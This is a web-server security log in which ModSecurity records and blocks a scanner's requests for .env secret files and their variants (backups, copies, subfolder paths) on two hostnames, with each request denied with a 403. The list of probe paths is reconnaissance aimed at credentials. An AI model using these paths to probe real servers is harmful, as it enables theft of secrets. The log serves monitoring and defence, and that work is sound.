[Sat Oct 24 21:49:33.100446 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1gLTKiZtbKEGWJKoLWXQAAACE"]
[Sat Oct 24 21:49:33.100621 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1gLTKiZtbKEGWJKoLWXQAAACE"]
[Sat Oct 24 21:49:33.100910 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1gLTKiZtbKEGWJKoLWXQAAACE"]
[Sat Oct 24 21:49:33.120708 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1gLTKiZtbKEGWJKoLWXgAAACE"]
[Sat Oct 24 21:49:33.120909 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1gLTKiZtbKEGWJKoLWXgAAACE"]
[Sat Oct 24 21:49:33.121190 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1gLTKiZtbKEGWJKoLWXgAAACE"]
[Sat Oct 24 21:49:33.147306 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1gLT8oejtZfsaip1YpGgAAABE"]
[Sat Oct 24 21:49:33.147510 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1gLT8oejtZfsaip1YpGgAAABE"]
[Sat Oct 24 21:49:33.147857 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1gLT8oejtZfsaip1YpGgAAABE"]
[Sat Oct 24 21:49:33.179904 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWXwAAACE"]
[Sat Oct 24 21:49:33.180116 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWXwAAACE"]
[Sat Oct 24 21:49:33.180413 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWXwAAACE"]
[Sat Oct 24 21:49:33.196025 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1gLT8oejtZfsaip1YpGwAAABE"]
[Sat Oct 24 21:49:33.196267 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1gLT8oejtZfsaip1YpGwAAABE"]
[Sat Oct 24 21:49:33.196499 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1gLT8oejtZfsaip1YpGwAAABE"]
[Sat Oct 24 21:49:33.223459 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWYAAAACE"]
[Sat Oct 24 21:49:33.223619 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWYAAAACE"]
[Sat Oct 24 21:49:33.223895 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWYAAAACE"]
[Sat Oct 24 21:49:33.231789 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1gLT8oejtZfsaip1YpHAAAABE"]
[Sat Oct 24 21:49:33.231941 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1gLT8oejtZfsaip1YpHAAAABE"]
[Sat Oct 24 21:49:33.232220 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1gLT8oejtZfsaip1YpHAAAABE"]
[Sat Oct 24 21:49:33.248752 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1gLT8oejtZfsaip1YpHQAAABE"]
[Sat Oct 24 21:49:33.248974 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1gLT8oejtZfsaip1YpHQAAABE"]
[Sat Oct 24 21:49:33.249278 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1gLT8oejtZfsaip1YpHQAAABE"]
[Sat Oct 24 21:49:33.271141 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWYQAAACE"]
[Sat Oct 24 21:49:33.271322 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWYQAAACE"]
[Sat Oct 24 21:49:33.271611 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWYQAAACE"]
[Sat Oct 24 21:49:33.290176 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1gLT8oejtZfsaip1YpHgAAABE"]
[Sat Oct 24 21:49:33.290370 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1gLT8oejtZfsaip1YpHgAAABE"]
[Sat Oct 24 21:49:33.290671 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1gLT8oejtZfsaip1YpHgAAABE"]
[Sat Oct 24 21:49:33.319517 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWYgAAACE"]
[Sat Oct 24 21:49:33.319690 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWYgAAACE"]
[Sat Oct 24 21:49:33.320228 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWYgAAACE"]
[Sat Oct 24 21:49:33.328907 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1gLT8oejtZfsaip1YpHwAAABE"]
[Sat Oct 24 21:49:33.329060 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1gLT8oejtZfsaip1YpHwAAABE"]
[Sat Oct 24 21:49:33.329275 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1gLT8oejtZfsaip1YpHwAAABE"]
[Sat Oct 24 21:49:33.378284 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWYwAAACE"]
[Sat Oct 24 21:49:33.378508 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWYwAAACE"]
[Sat Oct 24 21:49:33.378835 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWYwAAACE"]
